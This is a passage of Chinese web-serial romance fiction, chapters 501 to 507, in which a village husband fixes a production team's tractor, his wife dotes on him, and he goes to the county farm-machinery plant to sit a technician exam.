她气呼呼将鸡蛋塞到唐清江手里:“好了好了,跟你玩这个一点意思都没有,用了那么多脑子,阿愿喝过麦乳精了鸡蛋给你吃吧。” 唐清江接过鸡蛋,默默看了眼苏青莲。 显然是自己猜的太准确了小妻子觉得有点无聊,下次可能还要扮蠢,真是难做。 唐清江慢慢地将鸡蛋剥壳,白嫩光滑的蛋白,看着就极为诱人。 苏青莲忍不住吞了一口口水。 但她也知道现在是她老公一个人干活,要养他们一家三口,很辛苦,自己不能跟他抢好东西。 唐清江自然察觉到了他的反应。 顿时,一颗心愈发柔软。 他抬头看向苏青莲,轻笑道:“啊……” 苏青莲下意识跟着‘啊’了一声。 下一刻,嘴里便被塞了半颗鸡蛋,另外半颗给了在一旁观察的唐元。 苏青莲一愣,而后气呼呼瞪着唐清江。 唐清江冷声提醒道:“别说话,快吃,小心掉出来。” 苏青莲没办法,慢慢嚼着,好半天,才恋恋不舍地将嘴里那一小半咽下去,漂亮的眸子微微眯着,仿佛吃了满汉全席一般幸福。 小妻子是原来是地主家的千金,什么好东西没吃过,现在因为一颗鸡蛋这么满足。 唐清江看着她,内心想的却是怎么让小妻子过上更好的生活。 然后很快,苏青莲回过神把目光对准身边这个罪魁祸首,气呼呼道:“鸡蛋是给你吃的,你怎么这样?” 唐清江无所谓道:“昨天不是说,要把你养得白白嫩嫩。” “……”苏青莲脸颊微红。 怎么还当真了? 难道……她老公真的就喜欢白嫩的?她不是已经很白嫩了吗?还要更白吗? 苏青莲平时口舌多伶俐的一人,此时苦恼地皱起了眉头。 好一会儿,她才哼哼唧唧道:“我知道了,以后太阳大的时候,会尽量注意不被晒黑的。” 唐清江摸着他的脑袋,点点头:“嗯,乖。” 苏青莲继续得意告状道:“哼,幸好今天早上留在家,才能发现唐年居然偷偷摸摸吃鸡蛋,我会一直盯着他的,绝对不让他一个人开小灶。” 唐清江眯了眯眼,轻笑道:“那你盯紧点,他好日子过惯了,藏得东西绝对不止鸡蛋,你每次都把他东西抢过来,大约时间一长,他就第一个受不了,要撺掇着爹娘把我们分出去。” 第502章 她老公最厉害 听到唐清江的话,苏青莲目光一亮:“是哦,老公,你真聪明。” “……”唐清江。 怎么就突然喊老公了? 是自己今天一直纵容着,所以苏青莲持宠而娇了? 那……自己以后要对苏青莲更好。 唐清江轻咳一声, 故作漫不经心道:“我身上还有钱,你喜欢吃鸡蛋,下次去县城给你买。” “你钱不是给师傅买礼物了吗?”苏青莲好奇,她还记得这事儿呢。 那笔钱唐清江说给师傅买礼物,唐母还骂了他一顿,她现在都因为这个不高兴呢。 唐清江随口道:“骗他们的。” 苏青莲张大嘴:“那你也没学开车和修车吗?” 唐清江平淡道:“学了, 旁边看几眼就够,不用师傅特意教,所以送礼的钱省下来了。” 苏青莲立刻眉眼弯弯的笑起来:“老公,你真聪明, 不过你身上有钱也别乱花啊。” 唐清江瞥他一眼, 故意道:“嗯,只给你和阿愿花。” 苏青莲听到他说这话立刻手捂着双颊, 微微粉红,有点开心。 他老公今天怎么突然变得这么会说话的? 两人在旁边坐了没一会, 唐清江又去上工了。 这会已经快要正午, 苏青莲便干脆坐在一旁等着,打算待会带着唐愿跟唐清江一起回去吃午饭。 倒也巧合。 唐清江和苏青莲两人刚刚才说到修车,突然, 远处正吭哧吭哧响着犁地的拖拉机, 就直接没了动静。 推着拖拉机犁地的司机,当即头上直冒汗。 队长听着动静,也急匆匆跑了过去。 这拖拉机是三个生产队共有的,平时就谁需要谁就登记使用。 而农忙的时候, 就三个队分别排班轮流用, 今年他们生产队是排最后一个, 一直到昨儿才轮到。 但巧合的是, 昨天刚好又有知青被下放到他们村,所以昨天拖拉机根本没下地, 被开着去县城接人去了,唐清江也是坐了这顺风车回来的。 也就是说, 拖拉机这才上岗半天呢。 犁地是个顶费力气的活,没了拖拉机的话,那就全得摊到社员身上。 都先不说累不累人了。 他们生产队本来就比另外两个生产队慢了一截,这拖拉机再坏,拖累了育秧,破坏整个生产节奏才是大问题呢。 队长唐玉树围着拖拉机不断转圈子,一遍又一遍问趴在地上查看情况的司机:“咋样了,这到底咋样了,什么时候能继续跑啊? ” 半晌,司机从地上爬起来,看了唐玉树一眼,苦着脸说:“这我也看不出来什么问题啊,队长,你也知道当初被派去公社学拖拉机的人是我爹,回来后他才又教得我几天,但他那脾气,起码骂了我八百顿,认真教的时候还不到一天,我现在开车都不稳当呢,更别说修车了,那是一窍不通啊!” 唐玉树简直要昏过去,这是简单事吗,说修不好就修不好啦,那这接下来的春耕犁地怎么办? 他脑子直觉嗡嗡响,拉着司机问道:“那个,那个小林知青,我看他拖拉机开得挺好,比你好得多吧?他会不会修车啊?” 司机目光一亮:“好像还真会点,上次看他给人介绍什么发动机之类,说得还挺有门道,我去请他过来看看。” “好好,赶紧去吧!”唐玉树挥着手催促。 司机吭吭跑了。 大约三四分钟,司机就带着人往回走了,不止林盛路,后面还跟着唐年。 先前在唐家,唐年的鸡蛋被苏青莲抢走之后,他就气得跑出了门去找林盛路诉苦。 唐年跟这个事情关系很好,没少给这知情分好东西,所以这次被苏青莲这么嘲讽了也是气不过才找他说小话。 司机带着他们过来的时候,抄了个近道,直接横穿了耕地,刚好经过唐清江干活的地方。 司机脚步一停,想起昨天,他爹开着车去县城接人回来后,说起唐清江光听着拖拉机的声音,就判断出了机器问题,最后救了他们一车人的事。 啧,他当时只觉得是他爹又在习惯性吹牛说大话。 不过现在,多个人多分力量。 司机开口喊道:“清江哥啊!” 唐清江抬头,淡淡应道:“嗯?” 他刚刚听到了拖拉机熄火声,又看见司机着急忙慌的模样,心里大概猜得差不多了。 唐年也眼珠一转,笑盈盈道:“大哥,你之前不是还花钱在县里的师傅那,学了开拖拉机和修理吗,干脆一起过去看看好了?” 唐清江却只当没听见,面容依旧冷峻,理也不理。 唐年:“……” 唐年看着这一幕阴阳怪气。 哼,狂什么? 分明就是不懂罢了。 他就不信这个平日木木呆呆的大哥,还真能学到什么开车修车手艺? 司机并不知道他们一家人的矛盾,想起大队长刚刚快晕过去的表情,只笑着道:“哥,你也一起吧,咱们赶紧过去,这春耕可抓紧着呢!” “好。”唐清江点头。 林盛路却若有所思地看了唐清江一眼。 苏青莲本坐在树底下等唐清江,这会便带着唐愿跑过来了,跟着他们一起过去。 她双手还抱着唐清江的手臂,凑近耳边小小声道:“那个林盛路平日倒是会摆一副读书人的架子,好像比咱们村里人高一等,但这拖拉机就是咱们乡下农民用的,他还不一定修得好呢,最后肯定还得靠你!” 唐清江看他一眼,颇好奇道:“你看过我修拖拉机,这么信任我?” 苏青莲理所当然摇摇头:“没看过,但你肯定是最厉害的嘛!” 他也是昨天才知道唐清江学了修拖拉机的。 不过,他老公这么一本正经的人,说会修那肯定就是超级会啊,反正肯定比这个什么林盛路厉害。 她对唐清江就是无比自信,甚至觉得岂止是拖拉机,就是什么奇奇怪怪的更厉害的他都能做出来,就是这种感觉。 而且这林盛路天天跟唐年黏在一起,必然不是什么好东西。 唐清江眸色深沉,伸手捏捏她软软的脸颊肉,被小妻子无条件信任的感觉,很不错。 第503章 怎么又生气了 唐玉树看着林盛路过来,激动道:“小林同志,这可要辛苦你了。” 林盛路点点头:“嗯,说是打不着火是吧,我先看一下。” “对对。”唐玉树和司机连声道。 林盛路看着倒是个靠谱的,先在拖拉机头转了一圈,接着又趴到了车底下去。 唐清江也在一旁专心致志看着。 唐年见着他的动作,故意出声问道:“大哥,你看出什么问题了吗?” 唐清江终于抬眸,凉凉地瞥了他一眼:“怎么,你对你的朋友没信心?” “……”唐年面色突变:“没,就是随口问问。” 刚好,林盛路也从拖拉机下面站了起来,他先看了眼唐清江和苏青莲,倒是没说什么。 唐玉树无奈,感觉到两兄弟感情似乎不怎么好,不过这是唐家的家事了,他哥外人不好插手。他现在更关心的却是这拖拉机。 “小林同志啊,这到底是怎么回事呢?该怎么修呢?” 林盛路摇摇头:“队长,你也知道,我不是专门学这个的,现在手上也没合适的工具,不能把机头盖子打开,看不到具体情况就更不敢随便修,队长,你恐怕要去镇上的公社申请一下,请他们的技术工人带着工具来看看。” 唐队长又忍不住开始脑袋嗡嗡响了。 他们和附近的十几个村子都属于同一个公社,但公社一共才两个技术工人,总是这边跑跑,那边跑跑,他这会去公社,十有九成逮不到人。 那今天这一天的春耕就耽误了。 万一要是公社的工人还修不好,或者要配什么零件,那更糟糕了,还得去县里的农修厂一趟。 怎么偏偏是他们村碰到这种事,真倒霉了。 林盛路满不在乎地看着唐玉树和司机:“队长,那你看着解决吧,我先回去了。” 唐玉树只能点点头:“辛苦林同志跑这一趟了。” 林盛路都走了,唐年也跟在后面离开了。 林盛路没修好拖拉机,他也没法拿这个嘲笑唐清江了,而且他也不信唐清江能修好这拖拉机,干脆留都懒得留。 唐玉树摸了摸脑袋,颇烦恼地自言自语道:“哎,我还是尽快去趟公社吧,说不定那修理的工人现在正好在公社呢,而且就算不在,我提前去留句话,也能让他尽早来我们这修理。” 就在这时,唐愿开口说:“父亲能修。” 苏青莲听到了忍不住低头看向唐愿,两人视线相对,苏青莲也觉得唐清江可以了。 苏青莲拉了拉身边的唐清江,问道:“老公,你能修吗?” 唐清江毫不遮掩点头:“可以。” 苏青莲立马睁大眼,对着唐玉树道:“队长,让我们家老大试试,他也会修拖拉机的。” “啊……”唐玉树一愣,这是他没想到的。 司机却立刻哎了一声,赶紧道:“对对对,清江哥,你现在能看出问题吗,好像我爹也说你昨儿就是光听着声音,就发现了拖拉机的问题?” 唐玉树立刻停住了脚步,好奇道:“你说啥?昨天这拖拉机就坏过?” 司机尴尬应了应,便立刻把昨天他爹吹牛的事,给一本正经说了出来。 而这时,唐清江正把拖拉机一旁挂着的铁盒子打开,从里面拿出一个扳手和螺丝刀。 比较精密特殊的工具村里并没有,这种一般工具,却是常备的。 唐清江拿着那两样东西,也像之前的林盛路一样,钻到了拖拉机底下。 唐玉树赶紧不和司机说了,走近了盯着唐清江,听说是听说,他可怕唐家老大万一把这拖拉机修得更糟糕,到时候他们村可就惨了。 不过,唐清江的动作却是相当快,大约不到两分钟,他就又从下面钻了出来。 “怎么样?”唐玉树急急问道。 苏青莲也好奇地睁大了眸子。 “还好。”唐清江平静点点头,便走到拖拉机发动机旁面,握着手柄用力摇了几下。 下一刻,车头上冒起了一阵阵白色的烟雾。 随之,熟悉的“忑忑忑”声音响了起来。 苏青莲笑弯了眸子,扑到唐清江怀里:“我就说,还要靠你的吧!” 唐清江搂着她的肩:“嗯,托你吉言。” 唐愿在一旁脸上也满是笑容。 “修好了,打着了……”司机兴奋喊出声,接着,便兴奋地跑过去扶着拖拉机,继续往前犁地,完全没有任何问题。 唐玉树也激动地拍着唐清江的肩膀:“清江,你这可真是厉害!这可是拖拉机啊!你这就修好了!那知青都没看明白呢!” 唐玉树是真激动。 此时,林盛路和唐年都还没有走远。 听着身后传来熟悉的声音,立刻惊诧地回头一看。 拖拉机居然好了,谁修的? 难道是唐清江…… 这怎么可能! 唐年脸都黑了。 …… 苏青莲觉得自己简直太难了。 原本这些女人本就爱盯着自己老公看,刚刚唐清江修好了拖拉机后,这些人就更盯得肆无忌惮了,像是在看什么稀奇东西似的。 她觉得这太不安全了,要不她还是别整天在家盯着唐年了,陪她老公一起来上工好了。 老公还是比享福更重要一些的。 唐清江看她跟变脸似的表情,捏捏她的脸颊:“怎么又生气了?” 苏青莲仰着脑袋,瞪了人一眼,都怪这家伙这么招人眼。 半晌,犹犹豫豫把自己的困扰说了出来。 唐清江先是哭笑不得,而后却是心软得一塌糊涂。 他摸着小妻子的脑袋,温声道:“不必如此,我在地里的活也干不了多久了。” 一听这话,苏青莲脸色更难看了。 她紧紧抓着唐清江的手臂:“你……你不会又要离开家去做那什么类似修河道的活吧?我不同意。” 上次是离开三年,这次又要离开多久? 以前也就算了,可是现在她是真不想这人离开。 唐清江握着他纤细的手腕,轻轻摩擦了几下:“没打算出去,我昨天从县城回来的时候听人说,下个月,县城的农修厂要招技术工,我打算去试试。” 第504章 不喜欢怎么会结婚 按照最上面提出的“大修不出县,中修不出社,小修不出队”的要求,各个县城便先后成立了农修厂,专门修理农业机械。 当然,就现在县里农修厂的生产力,所谓的农业机械也就是拖拉机,此外,平时还会加工生产一些常用常换的拖拉机、内燃机配件,也就不用总是跑到市里的拖拉机总厂去购买。 不过现在都缺人才,所以农修厂还是很缺人的。 “县城农修厂?”苏青莲睁大了眼,惊喜道:“你要去当工人了。” “嗯。”唐清江平淡点头。 “哈哈哈,你要当工人了……”苏青莲坐在地上,直接捂脸笑出了声:“你要当成为工人了!” 这个年代当工人,不仅工资很高,有各种票补,而且还是铁饭碗。 对于乡下人来说,那就是一等一的好工作好前途了。 唐清江覻他一眼,捏着她的下巴认真道:“下个月才开始招人 ,而且还要考试。” 苏青莲无所谓地摇摇头:“你那么厉害,难道还能过不了那什么考试吗?” 苏青莲是完全没想过唐清江选不上考不过。 她就是对唐清江有绝对的自信。 唐清江都考不过,那谁能考过。 “……”唐清江点点头,冷静道:“也对。” 两个人都那么自信。 苏青莲转头看向唐愿,抱着捏了捏:“阿愿,父亲要去当工人啦!” 唐愿点头,眼睛亮亮的:“父亲,厉害!” 现在是一家三口全部都很自信了。 而在成为农修厂的工人之前,唐清江首先要做的还是分家。 不分家的话,按照唐母和唐年的手段,搬到县城也肯定要跟着去。 于是,接下来的这段日子里。 苏青莲就严格按照先前的计划,紧紧盯死了唐年。 但凡看到他吃了或用了什么家里其他人没有的好东西,那就一定要抢过来,唐愿也偷偷看着他。 当然,这行为被唐年向唐母告了数次状。 但唐清江就一句话:“受不了,那就分家。” 唐母对这自然是不能同意的。 于是,唐年也只能继续忍着。 而最近这几日,唐年已经收敛了不少,几乎不再拿什么好东西出来。 人也憔悴了不少,更没什么好东西拿给林盛路了,全被苏青莲抢去了。 林盛路看着他的模样,有些疑惑道:“你这是怎么了,你大哥大嫂又欺负你了?” 唐年气愤地点点头:“嗯,我大嫂简直就是个强盗,我的东西都被她给抢去了。” 他一口不提那些东西原本就是唐母花着唐清江的钱卖给他供着他的。 “你娘不管他?”林盛路蹙了蹙眉,说着,从口袋里摸出油纸包着的点心递给来:“我昨天去县城买的,你垫垫肚子。” “林盛路,还是你够哥们。”唐年眸子一亮,咬了一口点心心情好了点,等了一会儿又继续不高兴地抱怨道:“我大哥总是拿分家威胁我娘,我娘也就不能继续说什么了。” “分家?”林盛路眯了眯眼,半晌,慢悠悠道:“其实,你们分家也好。” “嗯?”唐年猛地抬头。 这话什么意思?怎么感觉林盛路还真想让他家分家呢? 林盛路看了眼周围,见没人才低声道:“你之前不是还问我,每次去县城都干了什么吗?我现在告诉你。” 唐年惊喜地点点头。 他一直都觉得林盛路是知情,是读书人,很聪明,所以就等着林盛路拉自己一把过上好日子。 到四月中的这天,生产队的春耕便告了一段落了。 唐清江被晒黑了些许,不过整个人也越发精神了,其实也没黑多少,苏青莲就怕他晒得太黑,给他编了个草帽,也就黑了一个度,人倒是更结实了,不过身上那股子儒雅的劲儿还在。 而一直呆在家的苏青莲,却被养得白白嫩嫩。 唐清江空闲时间给唐愿打造了一张小木床,小木床跟大床上都有厚厚的一层围帘。 其实唐清江觉得结婚后孩子不该跟父母睡一起,不过现在唐家没有那个条件,等要搬出去还有段时间,就给唐愿造了小床,睡觉的时候都可以遮上围帘。 苏青莲对此也很满意,唐愿也很高兴,在自己的小床上滚来滚去,唐清江还用棉花给她封了两个小玩偶,她在乡下哪里见过这个,开心的眼睛都笑的眯起来,一路跟在唐清江后面喊父亲,像个小尾巴似的。 倒是唐母看到后啐了一口连连骂是苏青莲这个地主家的娇小姐事儿精带坏她儿子,还拿那么贵的棉花给小杂种做东西,脑子有病。苏青莲听见就跟唐清江告状,唐母就不敢再说了。 她现在是真有点怵这个变了性子的儿子。 这天傍晚,原本苏青莲按照惯例去地里接唐清江回家,但去之前也不知看到了什么,唐清江只觉得她整个人都有些奇怪。 晚间,洗漱过后,两人躺在床上。 苏青莲自动自觉地滚进了他的怀里,自从唐愿有了小木床不跟两人睡一起后苏青莲总是会依偎在他怀里睡。 不过比起平日,似乎躺得有些不安稳,总是蹭来蹭去的。 唐清江伸手揽住他的腰,低着嗓子:“怎么了?” 苏青莲抬起头,突然小小声问道:“老公,你喜欢我吗?” 果然有古怪。 唐清江故意微微蹙眉,没有及时回答。 苏青莲在黑暗中震惊地瞪大眼:“……你还犹豫?” 唐清江失笑,立刻答道:“当然喜欢。” 苏青莲鼓着嘴巴,有些怀疑:“真的?” 唐清江道:“不喜欢怎么会结婚?” “难道不是因为当时我落水被你救了又不要彩礼吗?”苏青莲下意识撇撇嘴吐槽。 “……”唐清江。 这事儿没办法解释了,他也不清楚怎么回事了。 唐清江一手搂着苏青莲的腰,一手轻抚着他的背脊,微沉着声嗓子道:“当然不是,如果不喜欢我不会娶你,也不会有阿愿了。” 苏青莲脸红,这下信了。 刚结婚那三天唐清江还是挺厉害的,不然她也不会揣上阿愿。 第505章 你小点声,没人能听到 苏青莲直接爬到了唐清江身上,双手也紧紧抱住他,仰着小脸,笑容比漫天星子更璀璨:“老公,我也超级喜欢你的。” 唐清江眯了眯眼。 他觉得苏青莲这样可爱中都透着点傻气,平日里的精明劲儿是一点都看不到了。 他还在觉得苏青莲傻乎乎的,结果下一刻。 苏青莲轻轻在唐清江肩上咬了一口,含糊又疑惑道:“既然喜欢,为什么你都没反应的,出去一段时间你不行了吗?是不是伤到哪里了?” 唐清江:“……” 为什么会对他有这么错误的认知? 唐清江双手握着身上人的腰, 往上提了提。 养了一段时间,身上的人不再那么瘦弱了,脸上有了肉,比之以前更加明艳动人,但对他来说还是很瘦。 苏青莲手撑在他胸口,两人的目光正好对上。 今日是四月中旬,窗外月光明亮, 苏青莲自然也看到了唐清江那深到叫人有些害怕的眸子,她忍不住地便有些怂了,脖子往后缩了缩,她也觉得自己那段话说的不太对了,这会儿想要逃。 然而,唐清江哪里会给她逃离的机会,动作更快, 大掌一把掐住她的下巴和两颊, 颇为用力。 苏青莲:“……” 逃不掉了。 唐清江对她一直都是温柔体贴的,这会儿这么强势带着浓浓的侵略性,倒让她有点恍惚。 唐清江眯眼看着人,拇指轻抚着那柔软艳红的唇瓣, 嗓音低沉温柔到叫人心碎:“乖,告诉我刚刚那话哪里学来得?” 苏青莲:“……” 怎么办? 越温柔, 就越害怕。 这哪里是温柔呢,声音是温柔的动作是温柔的,可就是带着点威胁的劲儿。 苏青莲有些愣怔下意识想舔舔唇,舌尖却一不小心碰到那压在唇上的拇指。 唐清江感受着指尖的濡湿温热, 手指微动, 捏了捏她红润的唇一边轻声问道:“渴了,想喝水? ” 苏青莲摇摇头,不知怎地, 看人一眼, 又鬼使神差地在那手指上轻轻咬了一口。 唐清江摸着他的脑袋:“真乖, 给你奖励。” 苏青莲:“……” 这语气, 怎么像隔壁大爷在摸自家的小狗。 可是她现在根本不想要奖励了,她觉得她男人现在好危险啊。 她忍不住开口:“阿愿还在房内呢。” “现在想起阿愿在房内了?”男人揉着她发红的耳朵逐步凑近:“本想着等搬到县城阿愿有了自己的房间再做别的,没想到你这么迫不及待。” 苏青莲又想躲了,唐清江继续道:“不过现在也可以,围帘都挡着,阿愿很乖很早就睡了,只要你小点声,没人能听到。” 苏青莲一个混蛋都没骂出来就被堵住了唇舌。 不过,很快她就没心思想七想八的了, 因为唐清江是个说到做到的人。 刚刚说好的奖励是真的给她了。 苏青莲脑子乱嗡嗡的,她觉得这根本不是奖励,分明就是惩罚才对。 …… 不知过了多久,苏青莲红着眼角,细白手指紧紧抓着床单, 几乎要直接抓脱了线。 唐清江微微俯身,慢慢亲着她汗湿的侧脸和殷红的唇。 许久,屋内动静才渐渐停止。 唐清江端着一碰热水过来,拧了拧毛巾,将人抱到自己怀里。 苏青莲身体下意识便一抖。 唐清江看着白嫩皮肤上自己留下的痕迹,低头在她颈项轻轻吻了一下,沉声道:“这么敏感?” 苏青莲趴在他怀里,已经完全没有半点力气了,就连反驳都张不开口。 只能心里微微吐槽,就你先前那几乎要将他吞吃入腹般的凶狠模样。 这谁能不怕啊? 旱了三年的男人,是真会发疯。 唐清江先将热毛巾在他脸上敷了一会,刚刚哭得太可怜,省得明天起床眼睛痛,接着,又将人年年外外都擦洗了一遍。 中途还吵醒了唐愿,唐清江哄睡了唐愿又去哄被他欺负狠了的人。 苏青莲觉得自己是真惨,因为唐愿也在房内她哪里敢发出声音,就咬着床褥之感哼哼,偏偏唐清江也不给她个痛快,逼得她只想疯,泪眼汪汪的。 她当然不知道这副模样落入男人眼中却是漂亮的让人心动。 红了好半天苏青莲才肯重新让他抱,这才抱着人缩进了新换的被子里。 他手轻轻揉着人的腰身,嘴中慢慢诱哄着:“之前为什么问那样的话,是看到了什么?” 不然苏青莲不会突然说这些,他对小妻子还是很了解的。 苏青莲:“……” 还没忘呢? 这个男人,真小心眼。 苏青莲撇撇嘴,慢吞吞解释起来。 她今天傍晚去地里找唐清江的时候,经过一片油菜地,然后听见了一些动静。 一男一女。 那男的一直在哄那女人,说什么自己是太喜欢她了,所以才总想做这种事,如果不喜欢怎么会碰她,这类的话。 她就是听见这个就信了,想到唐清江回来一段时间都还没碰过自己,所以心里发堵。 她长这么漂亮唐清江还看不上那绝对有问题,所以才会问那些。 唐清江捏捏自家小妻子的脸颊,平时也是很精明的人,居然连男人的鬼话也能信。 不过…… 唐清江想起刚刚的美好体验,嗯,其实偶尔信那么一次也可以。 第二日起床的时候。 苏青莲趁机撒娇,在唐清江身上赖了好一会。 唐清江本以为她今天会萎靡一阵。 不过很快苏青莲就已经完全恢复了活力,像是昨晚没什么影响似的。 让唐清江都难得迟疑一瞬,自己昨晚难道真的没尽力? “老公,我跟你讲哦,唐年说他今天要去县城。”苏青莲兴冲冲地跑过来,扑到唐清江身上。 唐清江怕他摔下去,抱着人在床沿坐下,点点头道:“嗯,今天我也跟队长请了假要去县城,农修厂的考试就是今天上午十点。” 苏青莲立刻激动道:“我和阿愿跟你一起去,我知道农修厂在哪,我给你带路。” 他自从嫁给唐清江后就再也没回去过县里了,毕竟在村子里出村还要介绍信的。 第506章 不知天高地厚 虽然太久没出来但毕竟在县里生活了十几年,还是很熟悉的。 而且,县城本身也没多大,仅有的几个工厂都在同一个方向。 且唐愿这么久了都没去过县城,她也想带孩子去看一看。 唐清江看出她眼中的期待,立刻点点头:“好。” 苏青莲开心地在他脸上亲了一口。 唐清江捏着他的脸颊:“真乖。” 两人笑闹了一会。 苏青莲有想起正事,继续道:“刚才不是说唐年也要去县里吗,肯定是娘给了他钱,以前他也去过几次县里,每次都会买一些东西好回来。” “是吗?”唐清江摩擦着他纤白的手腕,眯了眯眼。 不过……他不是一次看唐年和林盛路接触,林盛路在县城做的事他大概知道点,所以这次唐年去县城的话,说不准不是买东西,而是卖东西了。 不过,分家的机会刚好也来了。 今日,唐家村要去县城的人似乎不少。 队长唐玉树和会计也在队部门口等着,据说是公社来了一批化肥,每个村都要派人去领。 这下为了方便,村里的拖拉机便要出动了。 刚好,唐清江和林盛路这两个会开拖拉机的人在,唐玉树便安排他们一人开去,一人开回来。 唐清江选择了开去,农修厂的招人考试也不知道会是什么内容,耽误多长时间,说不定他要在县城呆到很晚,回来的时间没个定数。 唐家村并不算偏僻,县城只有三十来里路,虽然现在的拖拉机马力一般,但也只花了不到一个小时便到了。 唐清江将拖拉机停在县城的化肥厂附近,便和苏青莲一起跟队长说了声,要离开去办事,回来的时间不一定,要是晚了,让他们就先回去不用等,到时可能在县城过一夜,或者走回去就行。 唐玉树叮嘱了他们几句,也就不在多问。 在他眼里,唐清江还是个很靠谱的人不会做什么出格的事情。 苏青莲一路拉着唐清江,兴高采烈地跟他介绍县城的一切。 哪里的供销社,有最新从上海来的好东西;哪家国营饭店的饭菜最香;哪条街道是她以前最常去玩的地方,以及她之前读书的学校里面有个大滑梯。 唐清江原本最讨厌话多的人。 但此时,却一路不厌其烦地听完了,仿佛从这些细碎的叙述中,想象出年幼的苏青莲多烂漫天真。 唐清江抱着唐愿,没有一丝敷衍的开口道:“你想的话等我考完试可以陪你去转一转。” 现在还不能给太多承诺,等他真的能办到那些时候再提,而不是给她说空话,他一向如此。 “农修厂到了。”苏青莲指着面前的建筑,唐愿也看过去,似乎有点开心的在唐清江怀里蹭了蹭。 唐清江抬头看一眼,这是一栋极为宽阔的白墙大院。 白墙上用红色油漆写着“跟着领导走,为人民服务”五个大字,白墙正中间是两扇大开的铁栅栏门,此刻正有不少人流行走。 白墙后是好几排的平房,全是红砖搭建,不过,其中有两排平房的高度,是前面正常一层平房的好几倍,里面应是架设了机器,做车间使用。 而此外,平房的四周或者后方,还停了大量的拖拉机,有完全崭新未使用的,也有不少已经报废的。 机器占地方,这么一摆,倒显得那地方都小了,满当当的。 对了,院子里还有两辆大货车,大概是运输零件的。 “怎么样,农修厂很气派吧,老公,待会的考试结束过后,你就要在这里上班了。”苏青莲睁着水润的眸子,神采奕奕道。 旁边经过的人,除了本身已经在农修厂上班的,其他便也都是来参加今天考试的,听见了他这毫不遮掩的话,当即面色微妙、目光轻蔑。 农修厂可以说是他们整个县里,待遇最好、也是说出去最敞亮的大厂了,每年不知多少人想进来当工人。 但农修厂对外招人最多的一年,也只有二十多个名额而已。 而今年这一次,只招技术工人,听说报名的有近百人,其中不管中专生、还是工农兵大学毕业的都有不少,但最后却只录取六个人。 呵…… 这年轻人,真是不知天高地厚。 唐清江面对这深深浅浅的目光,只若无物,神色冷峻依旧,他只是抱着唐愿对着苏青莲笑。 他本也知在乎她们母女。 苏青莲却不高兴了,如果是在村里面,这些人敢看不起她男人她肯定就凶狠地瞪回去了。 但现在这是在县城,这些人里面说不定有唐清江以后的同事、领导,甚至是待会儿的考官,这会要是任性了,肯定会给唐清江添一些不必要的麻烦。 她还是很机灵懂事的。 唐清江自然察觉到她的情绪,原本冷峻的面孔微缓几分,伸手捏捏她鼓起的脸颊:“傻乎乎的。” 苏青莲转移气怒对象,开始瞪着他。 唐清江放下一直赖在他怀中的唐元,从衣兜里摸出了两块糖,母女两人一人一块,然后从口袋里掏出十块钱、还有两张票递过去,道:“我进去考试,县城这边你很熟,你带着阿愿去销社或者饭店坐一会,不要乱跑,我待会考完了就过去找你。” “哦……”苏青莲慢吞吞伸手接过钱和票。 唐清江在她额上轻轻碰了一下:“好了,我进去了。” 苏青莲双手抱住他的手臂,认真道:“加油,你肯定会通过的,你是最厉害的。” “当然。”唐清江神色平静,语气却肯定道。 苏青莲:“……” 行吧,之前是她多虑了。 嗯,他老公这样的人,压根就不需要任何安慰和鼓劲,他本身就够自信够自大的。 唐清江进了农修厂院门之后,问了下工作人员,便顺着指引,走到了一栋平房之前。 此时此刻,那里已经站了近百人。 唐清江也随意找了个地方站定,左边是一个年龄跟他差不多大的年轻小伙,不知为何,连续看了他好几眼。 唐清江抬眸,冷冷道:“有事?” 第507章 考试 “啊,你发现了?”周出尴尬地摸了摸脑袋。 唐清江:“你是……” 周出笑了笑:“我就是好奇,以前我们那一片鼎鼎有名的火暴美人,是怎么被你收服的,刚我看她那小鸟依人的模样,真不敢信呢?” 唐清江眯了眯眼:“你是说青莲,你认识他?” 周出点点头:“对,他家之前虽然出了那事儿后来下放,但因为从小就长得好看,原本我们那一片大院力,不少人挺喜欢她,也不在乎她的身份想说亲的,但是吧她那脾气太爆了,嘴也厉害,大家都惹不起她,后来就听说他嫁到她下乡的那个村子里了。” 她确实长得好,不然这群人也不会冒着家里被连坐的风险想娶她呢。 唐清江随口道:“青莲确实长得好,性格也率直。” 周出:“……” 他颇为无语。 大哥,你这滤镜忒厚了点,那能叫率直吗?那叫暴躁啊! 半晌,他只能道:“你们这性格也挺合适的,没想到她在乡下还能找到大哥您这样的人,应该是比嫁进城里好,我是听说跟她一样遭遇的人嫁进城里后没少被婆婆和身边人欺负磋磨。” 唐清江微微敛眉,倒是没回这话。 说起来,就算是嫁到乡下不也被磋磨欺负了?现在才养起来点肉。 他心情不大好,索性就不再说别的了。 唐清江又等了一会儿。 面前的平房里,走出个平头小青年和留着齐肩学生发的女青年,两人都是一脸傲气模样,拿着个喇叭开始点名,然后严厉的道,迟到的人便就此失去考试资格。 点名后,便开始介绍本次的考试内容。 一共有两场。 第一场是笔试,也就是考知识,都是跟拖拉机相关的。 第二场就是实操,先测试驾驶,然后辨认拖拉机的相关零件。 说完之后,两位傲气青年便指挥着他们一百来人,分别进去左边的两个房间参加笔试。 这农修厂的环境确实不错。 考试的房间地面全是水泥铺成,洁净敞亮,桌椅也都十分齐整,窗台上还摆着几盆花草点缀。 唐清江坐在座位上,将试卷大略浏览一遍。 题目量并不多,先是二十来道填空题,然后就是六七道解答型的大题。 唐清江按照要求写了名字和座号后,便开始提笔答题,几乎不用思考,答案直接浮现于胸。 大约过了四十分钟,他便将所有题目全答完了,而且自我感觉至少能得个一百分。 当然,至多也就能得一百分。满分只有一百。 考官给的笔试时间,共计是一个半小时。 不过,因为接下来还有实测考试,实测一次只能考几个人,会非常耗时。 所以,考官提倡大家如果写完了,可以提前交卷,交卷之后最好立刻去参加实测,这样轮换速度会快一些,大家也能考完早点回家。 不过,唐清江的交卷速度,还是让坐在上方的考官微微震惊,以为他是胡乱写的。 但是,等细看纸上那铁画银钩般的好字迹,还有那标准到不能再标准的答案时,立刻瞪大了眸子连着多看了他好几眼。 唐清江按照考场外的那位女青年指示,去了考实测的地方,是平房后一片宽阔的广场,正停着四辆拖拉机,站着五位考官,其中一位是主考。 那主考一眼看到他,颇感惊喜:“你是来考实测的?” 唐清江点点头:“嗯。” 当即,那主考便玩笑起来道:“看你小子长得这么高高大大,不会脑子不好使吧,这么一会就出来了,笔试交白卷了?” 唐清江淡淡看向他:“交白卷不给考实测吗?” 那主考显然脾气不错:“当然不是,来来,赶紧考,你小子这么狂,要是能考个满分,我今天就破格录取你。” 唐清江淡声道:“这倒不必。” 